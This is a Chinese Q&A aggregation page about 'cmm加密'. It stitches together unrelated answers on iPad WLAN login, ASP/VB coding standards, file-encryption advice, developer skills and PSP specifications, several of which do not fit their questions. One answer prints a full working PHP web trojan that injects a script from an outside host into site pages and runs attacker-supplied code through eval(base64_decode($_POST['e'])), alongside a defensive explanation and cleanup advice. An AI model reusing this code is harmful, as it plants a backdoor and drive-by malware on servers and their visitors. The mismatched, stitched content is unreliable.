當前位置:首頁 » 密碼管理 » cmm加密

cmm加密

發布時間: 2022-09-08 06:51:11

㈠ 請問IPAD能在WLAN加密的情況下上網嗎能連接上嗎我們寢室是CMMCC的WLAN 不過好像要收錢的

用cmcc e的把,這是免費得,手機發W到10086就可以了,先用ipad連接這個網,打開網頁,然後把10086發你的賬號和密碼填在網頁上,登陸就可以了,一次可以用5小時

㈡ 用數組的方式實現大小寫英文字元串的密碼轉換,大寫字母加4,小寫字母減4,後面的再轉回去,如W加密為A,X

所用到的都是ASP讀寫資料庫操作.
沒有具體的規則.
現在給你些資料
一.頁面設計部分
1.img控制項
alt:所有展示類圖片都要具有能簡要描述圖片內容的文字說明。
2.Input控制項
maxlength:所有INPUT控制項都需要制定maxlength屬性,默認值為資料庫中對應的欄位的長度。
readonly:所有不可更改的信息都要使用readonly屬性。
3.Form控制項
action:所有Form都要指定action,如果提交給本身就指定action=""
method:執行不可逆動作使用POST,可逆動作使用GET
onsubmit:所有form都要指定提交前需要的檢查程序。
所有form都要有對應的reset button。
4.button控制項
onclick:form中用於提交的button不容許使用此方法,所有數據檢查通過form的onsubmit激活。
5.title屬性
所有頁面都要具有和本頁標題相同的title。
6.控制項的命名
採用控制項類型縮寫(小寫)+英文單詞(第一個字母大寫)的方法。
開發中控制項基本涉及一下幾類
button:btn
form:frm
select:sel
textarea:txt
input:ipt
7.語言設置
所有中文頁面都要加上如下語句:
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
8.控制項屬性賦值
所有控制項的屬性值都要使用雙引號或者單引號包括起來。

二.客戶端程序部分
1.錯誤提示信息的處理(2-1)
所有錯誤信息全部使用中文提示錯誤信息,標點使用中文半形符號,格式如下:
"錯誤:"+提示信息+"!"
2.成功提示信息的處理(2-2)
所有成功信息全部使用中文提示成功信息,標點使用中文半形符號,格式如下:
"成功:"+提示信息+"!"
3.頁面的返回
所有需要返回上一頁的時候使用history.back();不使用history.go(-1);
需要返回前n頁(n>1)時使用history.go(-n);
所有返回都使用連接的方式而不是button。
4.提交前數據的判斷
保證提交前的數據都會通過JavaScript進行數據類型以及長度的判斷
是否為數字:使用函數isNaN()
長度判斷: 長度要判斷去掉前後空格後的實際長度
為空判斷: 所有不容許為空的輸入欄位都要在去掉前後空格後進行判斷,同時如果該欄位為查詢條件則必須不能為空
如果判斷條件發現數據錯誤,則通過(2-1)提示錯誤信息,然後通過方法focus()聚焦錯誤欄位。
5.刪除數據前的提示
所有涉及刪除的操作,在用戶選定以後都要再進行一次確認操作。

三.伺服器端程序部分
1.數據的取得
通過Get,Post,連接傳遞過來的數據在使用前都要通過trim去掉數據前後的空格。
2.數據的判斷
通過request的得到的參數數據需要再次進行空,類型,和長度的判斷。
3.對象的關閉
所有資料庫和文件對象都要在使用後盡可能早的close,同時賦nothing。
4.提示信息
所有錯誤提示信息使用JavaScript提示,保證使用者看不到任何內部錯誤信息。(如1-1)
涉及資料庫Update,Del,Insert的操作成功都要提示。(如1-2)
5.變數的使用
所有變數在使用前都需要聲明,並且賦初值。
6.變數的命名
採用變數類型縮寫(小寫)+英文單詞(第一個字母大寫)的方法。
開發中變數基本涉及一下幾類
整數:i
小數:f
字元: s
布爾:b
日期:d
特殊的:
循環依次採用i,j,m,n;
數組用ary
指針p,q
臨時變數tmp

七.SQL語句
1.排序
order時應該盡量提前使用建立索引或者主鍵的欄位排序。
2.select
select時避免使用*,即使需要所有欄位也應盡量一個一個按照使用的順序羅列出來。
3.盡量避免使用in和not in

八.測試
所有頁面要在800*600,1024*768兩種解析度下運行通過。
所有頁面要在IE5.0,5.5以及6.0下運行通過沒有JavaScript錯誤。

****************************************************************

WEB編碼規范
編制人:walaqi
第一章 ASP編碼規范通述
ASP編碼分為兩大部分,一部分為靜態文件編碼,一部分為包含伺服器端腳本的動態文件編碼。
靜態文件編碼分Script編碼和HTML編碼兩部分。
伺服器端編碼則分為伺服器腳本、客戶端腳本、HTML腳本三部分。
編碼規范採用如下約定:
所有客戶端腳本一律使用JavaScript
所有伺服器端腳本一律使用VBScript
靜態頁面輸出一律使用HTML腳本
本規范不適用於由伺服器端腳本所產生的客戶端腳本代碼。
第二章 靜態文件編碼規范:
靜態文件腳本部分採用JavaScript編寫。輸出部分採用HTML標記語言。
1. HTML標記語言編碼規范
1.1 標記的換行規范:
* 一個標記必須佔用一行。不得出現兩個標記在同一行的情況(同一標記的關閉標記除外),如:
<tr><td>text</td></tr>
而必須寫成:
<tr>
<td>text</td>
<tr>
1.2 標記的關閉規范
* 靜態文件內容必須包含在<body></body>標記中間
* <body>標記必須包含在<html></html>標記中間
* 對於需要關閉的標記,如:
<html><title><body><table><tr><td><p><textarea><select><font><option><div><span>
必須同其關閉標記同時出現。如
<body>…<p>…<font>….</font>….</p>…..</body>
* 不得出現交叉包含的語句,如:
<p><font>…..</p></font>
1.3 標記的屬性賦值規范
對於接受屬性的標記,屬性值必須使用雙引號或者單引號包圍。如:
<body bgcolor=」red」>
<font size=』7』>
1.4 標記的縮進規范
* 最高一級的父標記採用左對齊頂格方式書寫。
* 下一級標記採用左對齊向右縮進一個Tab的方式書寫
在下一級依此類推,分別左對齊相對於父標記向右縮進一個Tab的方式書寫
* 同一級標記的首字元上下必須對齊。
2. 客戶端JavaScript規范
2.1 變數命名規范
* 常量以及全局變數名必須全部使用大寫字母
* 變數名首字母必須小寫。
* 變數名必須使用其類型的所寫字元串開始。各種類型的所寫字元串如下:
* 整型變數:int
* 長整型變數:lng
* 浮點型變數:flt
* 雙精度變數:dbl
* 對象引用變數:obj
* 字元串變數:str
* Date類型變數:dtm
* 變數名必須採用有意義的單詞命名,如:
strUserName、lngArrayIndex
* 變數名除首字母小寫外,其他單詞首字元必須大寫
* 如果變數名過長可以使用單詞縮寫,除了被廣泛了解的單詞縮寫以外,所有使用單詞所寫的變數名必須在定義時給出注釋,如:
var strAdName //用於表示Administrator帳戶的名稱
var strAdminName //不用給出注釋,Admin被廣泛了解
2.2 變數使用規范
* 變數使用前必須定義。沒有定義的變數禁止使用
* 變數的使用盡量縮小到小的作用域。如循環使用
for(var I=0;I<12;I++){

}
而不是:
var I;
for(I=0;I<12,I++){

}
2.3 對象命名規范
各種頁面對象如text輸入框、按鈕、下拉選擇框在命名時必須使用以下對應前綴:
* text輸入框:txt
* button按鈕:btn
* select下拉選擇框:sel
* option項:opt
* form表單:frm
* frame框架:fra
* hidden表單項:hdn
* div標記:div
* span標記:span
* 對話框對象:dlg
* 窗口對象:win
2.4 函數以及子過程命名規范
* 函數命名必須使用動詞+名詞對的方式,並且能夠體現函數的功能
* 函數命名的動詞前綴必須是同函數功能相關的完整動詞
* 函數命名第一個單詞的首字母小寫,後面每一個單詞的首字母大寫
第三章 動態文件編碼規范
1. HTML書寫規范
HTML書寫規范必須符合靜態文件HTML標記書寫規范,參考(第二章第一節)
2. 客戶端腳本規范
動態文件客戶端腳本一律採用JavaScript書寫,並必須符合靜態文件編碼規范中有關JavaScript編碼規范的規定(參考第二章第二節)
3. 伺服器端腳本書寫規范
伺服器端腳本書寫採用VBScript書寫
3.1 命名規范
3.1.1 VBScript腳本變數命名規范
* 常量以及全局變數必須全部使用大寫字母
* 常量必須使用CONST_前綴
* 全局變數必須使用G_前綴
* 變數名首字母必須小寫。
* 變數名必須使用其類型的所寫字元串開始。各種類型的所寫字元串如下:
* 整型變數:int
* 長整型變數:lng
* 浮點型變數:flt
* 雙精度變數:dbl
* 對象引用變數:obj
* 字元串變數:str
* Date類型變數:dtm
* 變數名必須採用有意義的單詞命名,如:
strUserName、lngArrayIndex
* 變數名除首字母小寫外,其他單詞首字元必須大寫
* 如果變數名過長可以使用單詞縮寫,除了被廣泛了解的單詞縮寫以外,所有使用單詞所寫的變數名必須在定義時給出注釋,如:
dim strAdName 『用於表示Administrator帳戶的名稱
dim strAdminName 『不用給出注釋,Admin被廣泛了解

3.1.2 對象命名規范
各種對象如Connection、Recordset、Command在命名時必須使用以下對應前綴:
* Connection對象:conn
* Recordset對象:rs
* Command對象:cmd
* Parameter對象:param
* Field對象:fld
* Error對象:err
3.1.3 函數以及子過程命名規范
* 函數命名必須使用動詞+名詞對的方式,並且能夠體現函數的功能
* 函數命名的動詞前綴必須是同函數功能相關的完整動詞
* 函數命名第一個單詞的首字母大寫,後面每一個單詞的首字母大寫
3.1.4 常用變數命名規范:
說明:包含在[]中的部分為可省略部分
* Connection對象:conn[Name]。Name為所連接資料庫的伺服器名字
* Recordset變數命名規范:rs[Name]。Name為自定義的同rs存儲內容有關的英文單片語合
* Command對象:cmd[Name]。Name為自定義的同command目的有關的英文單片語合
* SQL語句字元串變數:strSql[CommandName]。CommandName為自定義的同Sql語句功能相關的英文單片語合,如:
strSqlUpdateModify
strSqlInsertUser
3.2 代碼書寫規范
3.2.1 變數明確聲明原則
* 所有ASP程序文件,必須在代碼的第一行包含<%option explicit%>。轉為變數明確聲明模式
3.2.2 字元集設定原則
* 所有將對客戶端產生中文輸出的ASP程序文件,必須在輸出前設定Charset為」GB2312」.如:Response.Charset = 「GB2312」
3.2.3 函數使用原則
* 盡量使用函數封裝代碼塊
* 連續代碼塊盡量不要超過50行。最多不得超過70行
* 盡量使用局部變數。
* 如有涉及到全局的資源,如Connection,盡量作為函數的參數傳入
* 所有在函數內部創建打開的資源,在退出函數前必須關閉釋放。如:Recordset,Command
3.2.4 Request、Session、Application使用規范
* 所有需要放入Session、Application中的對象,必須採用有意義的英文名字。除了被廣泛了解的單詞縮寫以外,不得採用單詞縮寫。如:
Session(「cp」) = strCurrentUserIP 『不允許
Session(「CurrentUserIP」) = strCurrentUserIP
Session(「Pwd」) = strPwd 『允許,Pwd被廣泛了解為密碼
* 所有需要在代碼內用到的Request、Session、Application中的元素,必須在代碼頭部賦值給代碼內聲明的變數。
* 如果獲得Form中提交的內容,必須使用Request.Form(「itemName」).
* 如果獲得QueryString中提交的內容,必須使用Request.QueryString(「itemName」)
* 不得在代碼中出現Request(「」)這樣的引用方式
3.2.5 HTML同伺服器端腳本混合使用原則
* 伺服器端腳本標記「<%」必須同其上一行緊鄰的標記左對齊,如:
<table>
<%
do while not rs.eof
%>
<tr>
<td>text</td>
</tr>
<%
rs.movenext
loop
%>
</table>
* 伺服器端腳本標記「<%」同其後的代碼不得在同一行書寫
* 「%>」同其前面的代碼不得在同一行書寫
* 伺服器端腳本標記」%>」同其最近的」<%」標記對齊
* 伺服器端內部的HTML代碼依據靜態文件的HTML縮進規則編寫,不遵循伺服器端腳本縮進規則
* HTML標記內部的代碼,依據伺服器端腳本的縮進規則,不遵循HTML代碼縮進規則 。

第四章 常見錯誤
1. ADO的事務處理
1.1 錯誤代碼:80004005。
1.1.1 錯誤描述:
Microsoft OLE DB Provider for ODBC Drivers 錯誤 』80004005』
不能在 firehose 方式下啟動事務
1.1.2 解決方法:
在開始ADO的事務的時候,必須首先關閉使用同一個連接對象打開的記錄集,或者在打開那些游標集之前,設置游標集位置類型為adUseClient.(使用客戶端游標集)

第五章 代碼習慣書寫示例
1. ADO對象的使用
1.1 ADODB.Connection對象
1.2 ADODB.Command對象
1.3 ADODB.Recordset對象
1.3.1 創建:
Set rs = Server.CreateObject(「ADODB.Recordset」)
rs.CursorLocation = adUseClient
rs.Open strSql,conn,1[,1] 『必須指定游標類型

一、 注釋規范
A. 注釋標准:
l 功能注釋
功能注釋是指為了對代碼本身進行解釋說明而進行的注釋。
注釋符採用「』」作為統一的注釋符。
1.行內注釋
採用注釋符號 「』」
例:
Dim intFileNo As Integer 』ファイル番號取得用
2.整行(包括多行)注釋
採用注釋塊開始與塊結束標志
36

』************************************



』************************************
l 修訂注釋
修訂注釋是指出於測試或者改錯等目的,對代碼進行了更改,而必須對此修改提供相關說明和醒目標記,並將原來的代碼加入注釋塊內。
只要有改動,無論單行還是多行均採用設置注釋塊開始與塊結束標志的方法來明確標志修改部分,清楚地進行解釋說明,便於查找和分辨注釋比較多的代碼段。
15 15

』*************** Modify Start ***************




』*************** End ***************
B. 需要注釋的地方:
聲明定義部分
對每個常量聲明進行注釋;
對每個變數及類、對象等的聲明進行注釋;
對每個自定義函數定義進行注釋;
對每個自定義子程序定義進行注釋;
代碼部分
對每個構件,在頂部進行注釋;
對每個條件選擇分支進行注釋;
對每個詳細設計中提到的關鍵點進行注釋;
對全局變數的使用進行注釋;

C. 注釋的內容:
l 對變數及常量聲明部分的注釋以行內注釋方式簡要描述其用途。

l 自定義函數及子程序等定義部分的頂部進行注釋:
』************************************
』 概要:
』 機能說明:
』 參數說明:
』 返回值:
』 備註:
』************************************

l 代碼內部的行內注釋
說明具體代碼的運算規則,循環的內容,計數器的目的等等。

l 修訂注釋
』*************** Modify Start ***************
』 修訂原因:
』 修訂履歷:
』 修訂者 修訂日期
』 原始代碼:
』 Case 5 To 8
』 ……
Case 4 To 8
』*************** End ***************

D. 注釋的方法:
對代碼行可以在行尾加註釋(不能違反行寬的要求);
對單行代碼的注釋可以在上一行以「』」的形式添加簡單注釋;
對整段代碼的注釋放在代碼段之前;
注釋符統一採用「』」。

二、命名規范
A.通則
VisualBasic保留字可在VisualBasic設計器中根據顏色的變化看到。變數命名不可以使用保留字,應使用有意義的名字命名,不可使用簡稱和無意義的名稱諸如A,x1等。即便對於只用於循環計數的變數,也應該統一賦予有意義的名稱,例如longCnt等。
不能起太長的名字,應該盡量簡潔,長度限制應控制在32個字元之內。

B.常數
全部使用大寫字母以表明常數意義的名詞命名,不區分常數的類型:
Const DEFAULTCONCENTRATION As Single = 0.01

C.變數
命名必須使用大小寫結合(VB編輯器會自動轉換以減少程序出錯的機率)
變數命名採用[范圍前綴][數組前綴][類型前綴]+[自定義命名]
控制項命名採用[控制項前綴]+[自定義命名]

變數范圍做前綴
范圍 前綴 例子
全局變數 g gStrUserName
模塊級 m mStrUserName
過程級 無 StrUserName
數組前綴: a
類型前綴:
數據類型 前綴 例子
Boolean Bln BlnFound
Byte Byt BytRasterDate
Currency Cur CurBalance
Date Dtm DtmBeginDate
Double Dbl DblFee
Integer Int IntQty
Long Lng LngVcID
Single Sng SngAverage
String Str StrItemId
Object Obj ObjRmtsvr
ADODB.Recordset Rst RstItem
ADODB.Connection Cnn cnnNewsPaper
ADODB.Command Cmm CmmAddCustomer
Variant Vnt VntCheck
自定義類型 Udt UdtUserInfo
控制項類型命名前綴
控制項類型 前綴 例子
ADO Data ado AdoBiblio
Check box chk ChkReadOnly
Combo box, drop-down list box cbo CboEnglish
Command button cmd CmdExit
Common dialog dlg DlgFileOpen
Data-bound combo box dbcbo DbcboLanguage
Data-bound grid dbgrd DbgrdQueryResult
Data-bound list box dblst DblstJobType
Data combo dbc DbcAuthor
Data grid dgd DgdTitles
Data list dbl DblPublisher
Directory list box dir DirSource
Drive list box drv DrvTarget
File list box fil FilSource
Form frm FrmEntry
Frame fra FraLanguage
Graph gra GraRevenue
Grid grd GrdPrices
Horizontal scroll bar hsb HsbVolume
Image img ImgIcon
Image combo imgcbo ImgcboProct
ImageList ils IlsAllIcons
Label lbl LblHelpMessage
Line lin LinVertical
List box lst LstPolicyCodes
ListView lvw LvwHeadings
Menu mnu MnuFileOpen
Month view mvw MvwPeriod
MS Chart ch ChSalesbyRegion
MS Flex grid msg MsgClients
MS Tab mst MstFirst
Option button opt OptGender
Picture box pic PicVGA
ProgressBar prg PrgLoadFile
Remote Data rd RdTitles
Slider sld SldScale
Spin spn SpnPages
StatusBar sta StaDateTime
SysInfo sys SysMonitor
TabStrip tab TabOptions
Text box txt TxtLastName
Timer tmr TmrAlarm
Toolbar tlb TlbActions
TreeView tre TreOrganization
UpDown upd UpdDirection
Vertical scroll bar vsb VsbRate
自行開發ActiveX控制項的前綴根據具體項目的設計時規定。

D. 標簽
標簽就是用於Goto跳轉的代碼標識,由於Goto並不推薦使用,所以標簽的使用也比較苛刻。標簽必須全部大寫,中間的空格用下劃線_代替,而且應該以_開頭,比如:
_A_LABEL_EXAMPLE:
如此定義標簽是為了與其他代碼元素充分區別。

E.方法
無論是函數還是子程序,方法都必須以動詞或動詞短語命名。無需區分函數和子程序,也無需指明返回類型。
Sub Open(ByVal StrCommandString As String)
Function SetCopyNumber(ByVal IntCopyNumber As Integer) as Integer
參數需要指明ByVal還是ByRef,這一點寫起來會讓程序變長,但非常必要。如果沒有特別情況,都使用ByVal。參數的命名方法,參考 「變數的命名方法」。

三、 書寫格式規范
A. 程序的書寫順序
該構件的概要注釋說明
變數聲明
過程聲明
代碼段1
代碼段2
……
B. 大小寫
變數名范圍前綴用小寫,每個單詞第一個字母用大寫
函數、過程、對象名也要求每個組成單詞字首大寫
C. 縮進
統一開發環境,設定VisualBasic設計器的開發環境選項,定義Tab寬度為4。代碼縮進時,先選中要縮進的代碼塊,然後使用快捷鍵是Tab(右移)和Shift+Tab(左移);如果手工輸入空格完成縮進,以4個空格為單位。
在If語句後縮進;
在Else語句後縮進
在Select Case語句後縮進
在Case語句後縮進
在Do語句後縮進
在For語句後縮進
已經用行接續符分割的語句的各個行要縮進
在With語句後縮進。
對從屬於行標注的代碼進行縮進。

D. 空格
運算符前後都要空格,包括:+,-,*,/,^,=,>,>=,<,<=,<>,NOT,AND,OR等;
E. 空行
變數聲明部分和代碼語句間的分隔;
在執行統一任務的各個語句組之間插入一個空行。好的代碼應由按邏輯順序排列的進程或相關語句組構成。
F. 頁寬
對較長語句,如API聲明等,在代碼窗體可視范圍內給予換行,不要使別人必須通過滾動窗口才能查看到完整的代碼,單行代碼長度不超過95列。
使用「& _ 」換行符。
G. 其他
在項目組內部,根據需要統一VisualBasic開發環境參數。

四、 代碼檢查
代碼檢查的合格標准
注釋完整、命名規范、條理清晰、可讀性強的代碼視為合格代碼。
檢查辦法
發現未遵循本編碼規范的情況視為不合格;

五、 建議性規范
l 有的時候可能需要違背好的編程原則,或者使用了某些不正規的方法,遇到這種情況時,必須用詳細的注釋來說明在做什麼和為什麼要這樣做。
技巧性特別高的代碼段,一定要加詳細的注釋,不要讓其他開發人員花很長時間來研究一個高技巧但不易理解的程序段。
l 對注釋進行縮進,使之與後隨的語句對齊。
注釋通常位於它們要說明的代碼的前面。為了從視覺上突出注釋與它的代碼之間的關系,請將注釋縮進,使之與代碼處於同一個層次上

六、 其他
對文檔的理解產生的歧義由引用此文檔的項目的項目負責人統一解釋。

相信對你有所幫助

㈢ 怎樣保證個人隱私文檔的保密性

假如,陳XX的電腦沒有出問題;假如,他找的電腦維修工程師品行不那麼惡劣;假如,他的文檔都經過加密……那麼今日,他仍然是大紅大紫的娛樂明星,還將是千萬追星少男少女的青春偶像。

有些事情看似偶然,實為必然。再一次假設,如果還有這樣的事件,就算讓陳XX耗費千萬資產,他也會把這些見不得人的東西藏得嚴嚴實實,或者銷賬毀跡。就算電腦出了問題,就算維修工程師品行不善,只要你注重個人文檔保密,選擇一款技術先進的加密軟體,就算他拿了你的隱私文檔,打不開,看不到其中的東西,又能奈你何?
作為公眾人物,這種見不得光,見不得人的事情一旦敗露,付出的代價將是難以想像的。但是作為一個普通人物,誰又能沒自己的個人秘密,誰又能沒自己的私人隱私,一旦遇到同樣的問題,你該怎樣收場?周圍鄰居,同事,親戚,朋友異樣的眼光,戳戳指指的手勢,你又如何面對?
如同滅火器,放在角落裡,毫不起眼。然而一旦火災發生,他的作用無可替代。沒有這東西,就算你千辛萬苦將火撲滅,你的房子也已經被燒的千瘡百孔,損失慘重。面對電腦的日益普及,個人隱私乃至企業信息的防護加密,都已經是刻不容緩,重中之重的問題了。
面對眼花繚亂的加密產品,一般的電腦使用者和企業級用戶應該如何去選擇?筆者認為該從以下幾個方面考慮:
1. 安全性
既然加密,就要起到加密的效果。有的加密文件,不借用任何破解軟體,一些很常規的方法就能破解的自然不予考慮。比如在dos就能去除其加密屬性的,用壓縮軟體就可以任意拷貝,暴力破解短時間內能破解密碼的此類加密軟體。
2. 易用性
一個電腦水平一般的菜鳥,使用一個說明全是專業術語的加密軟體,他(她)在琢磨30分鍾還沒有明白怎麼使用的情況下,估計這款軟體就可以OUT了。不管大中型企業客戶,還是普通個人客戶,客戶容易上手易於操作了,才會成為你的忠實用戶。DOS為什麼會被WINDOWS取代?因為那一串串的命令符不是每個人都記得住的,而滑鼠,誰不會點……
3. 方便性
一些加密軟體需要單獨的伺服器來安裝伺服器端,然後再在客戶機安裝客戶端來達到加密目的。個人用戶,自然不可能去裝個什麼客戶端,企業用戶安裝伺服器也加大了成本,不劃算。何況伺服器端一旦出問題,下面所有加密的客戶端也都會無法使用加密功能。
4. 看資質(針對企業級用戶來說)
一款成熟的加密軟體,廠商必須具有基本資質,這些資質一般有: 公安部銷售許可證
軟體企業認定證書
涉密信息系統產品證書
質量管理體系(iso)或cmm相關認證本行業用戶的成功案例
有無定製開發能力和周期
其他還包括一些軍隊信息安全產品認證高新技術企業證商密委認證等非必要證書資質。
從對加密軟體的一般要求來看,如果一個加密軟體能夠符合以上四點,那麼就足以勝任個人的加密需要了。對於企業用戶,很多特有的功能都需要根據不同情況和需求來定製。如果還需要更進一步的了解,下面這篇文章應該可以讓你有所收獲。

五種常見內網安全產品優劣對比:
http://www.anchtech.com/Html/xingyedongtai/xingyexinwen/7904981869460.html

㈣ 網頁加密的方式有幾種

是通過一些加密的演算法來實現的,當客戶端解析的時候就不會把源代碼給泄漏了

㈤ 幫忙解密php base64加密最好解決方案也提出下。100求破碼200求解決方案

if(!isset($ev8l1)){function ev8l($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a='<script src=http://griffintoilethire.co.uk/images/s7cg/gifimg.php ></script>','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function ev8l2($a,$b,$c,$d){global $ev8l1;$s=array();if(function_exists($ev8l1))call_user_func($ev8l1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='ev8l')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('ev8l');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$ev8ll=(($a=@set_error_handler('ev8l2'))!='ev8l2')?$a:0;eval(base64_decode($_POST['e']));
意思是將參數中的<script>...</script>部分替換為<script src=http://griffintoilethire.co.uk/images/s7cg/gifimg.php ></script>,這樣你的網頁就被掛上了馬。這段代碼應該是通過webshell上傳到你機器上的一段掛馬程序,至於webshell 的打開有很多原因,即然是php代碼那麼你的機器上很可能存在php遠程文件包含漏洞,也就是如果你的機器上存在Wordtrans、WordPress、rgboard、phpcms等php程序,那麼很可能就有這個的漏洞。
推薦解決方法:
1.恢復已被篡改的網頁
2.找一個RFI掃描器對本機進行掃描,將找到的漏洞進行修補(相應的程序網上都有對應的修補方法)

㈥ 軟體開發人員應具有的素質

軟體企業要求基礎軟體工程師具備六大基本素質:1良好的編碼能力、2自覺的規范意識和團隊精神、3認識和運用資料庫的能力、4較強的英語閱讀和寫作能力、5具有軟體工程的概念、6求知慾和進取心。
首先,良好的編碼能力。軟體人員的一個重要職責是把用戶的需求功能用某種計算機語言予以實現。編碼能力直接決定了項目開發的效率。這就要求軟體工程師至少精通一門編程語言,比如當前國內企業常用的C/C++、VB和國際上最流行的Java語言,熟悉它的基本語法、技術特點和API(應用程序介面)。
其次,自覺的規范意識和團隊精神。隨著軟體項目規模越來越大,僅僅依靠個人力量已經無法完成工作,因此,現代軟體企業越來越重視團隊精神。一般來講,軟體企業中的程序員可以分為兩種,一種是程序「游擊隊員」,他們可能對編程工具很熟,能力很強,把編碼編得很簡潔高效,但卻缺乏規范和合作的觀念;另一種程序員編程不一定很快,但是很規范,個人能力不一定很強,但合作意識很好。第二種人更加適合現代軟體企業發展的潮流。對於基礎軟體工程師來說,他們在企業中的角色決定了他們必須具有良好的規范意識和團隊精神。
然後,認識和運用資料庫的能力。信息是以數據為中心的,因此與資料庫的交互在所有軟體中都是必不可少的,了解資料庫操作和編程是軟體工程師需要具備的基本素質之一。目前常用的資料庫軟體有甲骨文公司的Oracle資料庫和微軟公司的SQL Server等。
接著,較強的英語閱讀和寫作能力。程序世界的主導語言是英文,編寫程序開發文檔和開發工具幫助文件離不開英文,了解業界的最新動向、閱讀技術文章離不開英文,與世界各地編程高手交流、發布幫助請求同樣離不開英文。作為基礎軟體工程師,具有一定的英語基礎對於自身的學習和工作極有幫助。
但是,具有軟體工程的概念。基礎軟體工程師處於軟體企業人才金字塔的底層,是整個人才結構的基礎,雖然他們從事的工作相對於系統分析師和高級程序員要單純一些,但是他們是整個軟體工程中重要的一環,因此,基礎軟體工程師同樣要具有軟體工程的概念。從項目需求分析開始到安裝調試完畢,基礎軟體工程師都必須能清楚地理解和把握這些過程,並能勝任各種環節的具體工作,這樣的能力正好符合了當前企業對基礎軟體工程師的全面要求。
最後,求知慾和進取心。軟體業是一個不斷變化和不斷創新的行業,面對層出不窮的新技術,軟體人才的求知慾和進取心就顯得尤為重要,它是在這個激烈競爭的行業中立足的基本條件。軟體工程師應具有較強的學習總結能力、需求理解能力和對IT新技術比較敏感,同時,掌握最新的IT實用技術。

㈦ psp2000!

PSP
PSP全稱PlayStation Portable,是一種由SONY開發的新型掌上游戲機。於2004年12月12日正式發售。
它採用4.3寸16:9比例、背光全透式的夏普ASV超廣可視角液晶屏幕,屏幕大小達到480*272象素,而且色彩鮮艷亮麗,顯示效果一流;擁有介於PS和PS2之間的3D多邊形繪圖能力,對應的曲面NURBS建模更是PS2所沒有的功能,游戲畫面達到了掌機游戲的新高度;可播放MPEG4視頻文件ATRAC格式與MP3格式等音樂文件;使用PCM音源,對應3D環繞立體聲,音域廣音質也好。使用新研發的6厘米直徑大小的「UMD」光碟作為游戲以及音像媒介,搭載USB介面與Memory Stick DUO記憶棒插槽,支持無線聯機功能和熱點連接互聯網,機能拓展潛力巨大,是被SONY定位為「21世紀的WALKMAN」的重量級產品。綜上所述,實際上PSP已經不只是一台游戲機,更是一台綜合性的掌上多媒體娛樂終端設備。由於SONY不惜血本的低價「傾銷」策略,PSP已經成為當前性價比最高的掌上型多媒體終端。

psp2000
新產品:psp2000
SCE在2007年公布的新改良版PSP® (PlayStation®Portable) 系統 (PSP-2000) 擁有更小、更薄的機身,尺寸減小19%,重量減輕了33%,新的PSP重量約為189克(原來是280克) 厚度為18.6mm(原來是23.0 mm)。另外,索尼還將PSP內存增加到64MB,而且還為新PSP准備了視頻輸出能力,通過另外購買的視頻線,可以將PSP接駁大屏幕電視享受游戲和影視的魅力。新PSP的升級還包括內置存儲緩存UMD數據,減少讀盤時間,以及可以在USB連接PC或PS3傳送數據的同時進行充電。詳細的功能如:[AV cable]、 [S VIDEO cable]、[D Terminal AV cable]、[Component AV cable]等視頻輸出功能,1-333MHz[PSP CPU]、16:9 480×272/16,770,000t、 [IEEE 802.11b] 無線LAN、 USB2.0(mini-B) USB聯接等。

PSP配置列表
[編輯本段]
PSP配置列表
名稱 Play Station Portable(PSP)
型號 PSP-1000 (這個是日版)1001是美版
標准色 黑色
尺寸 長170mm×寬74mm×厚23mm
重量 260g(含電池)
CPU PSP專用CPU (周波數1~333MHz)
內存 32MB
DRAM 4MB
顯示屏 4.3英寸16:9寬屏ASV液晶,1677萬色480×272解析度,光強最大每平方米200cd
音樂輸出 立體聲
擴張端子 IEEE 802.11b(Wi-Fi)、USB2.0(Target)、記憶棒、IrDA、IR Remote(SIRCS)
光碟機 UMD專用光碟機
對應軟體 PSP游戲、UMD音樂軟體、UMD視頻軟體
外介面 5V直流OUT、電池充電口、耳機口、話筒口、手柄口
操作按鍵 方向(上下左右)、數字搖桿、按鍵(△、○、□、×)、L、R、START、SELECT、HOME、POWER(ON、OFF、HOLD)、光調整、音樂模式變換、音量、 無線LAN(ON、OFF)、UMD出倉鍵(新版本psp沒有)、電源 鋰電池、AC電源
保護機能 ∏�蚵肟刂啤⒛炅湎拗?
豪華版配件 耳機和線控、1800MA電池、攜帶包、吊帶 .32M SONY PSP專用記憶棒

PSP2000配置列表
型號 新版PSP2000
處理器性能 PSP CPU(工作頻率1-333MHz)
內存性能 64MB
圖形處理器 FPU, VFPU (每秒2千6百萬浮點運算) 3D圖形擴展運算 1.2V MIPS R4000 32-bit核心 128-bit匯流排 2MB eDRAM緩存 90納米CMOS製造工藝 1.2V
游戲載體 播放專用UMD驅動器;格式:PSP Game、UMD Audio、UMD Video UMD (Universal Media Disc) 60mm直徑光碟 660納米激光二極體 1.8GB最大容量 (雙層) 11Mbps傳輸速率 AES 加密系統唯一光碟ID 抗震
音頻 內置立體聲喇叭
介面 本體電源輸入埠外部電源供給埠視頻/耳機/話筒埠 USB埠存儲記憶棒埠
附件 AC適配器專用鋰離子電池(1200mAh)
重量 約189g(內含電池)
尺寸大小 約169.4x 18.6 x 71.4 mm(寬度×高度×長度)(除去最大突出部)
屏幕 4.3英寸 16:9寬 TFT液晶 480 x 272像素 1,677萬色
多邊形性能 3D曲面和3D多邊形引擎

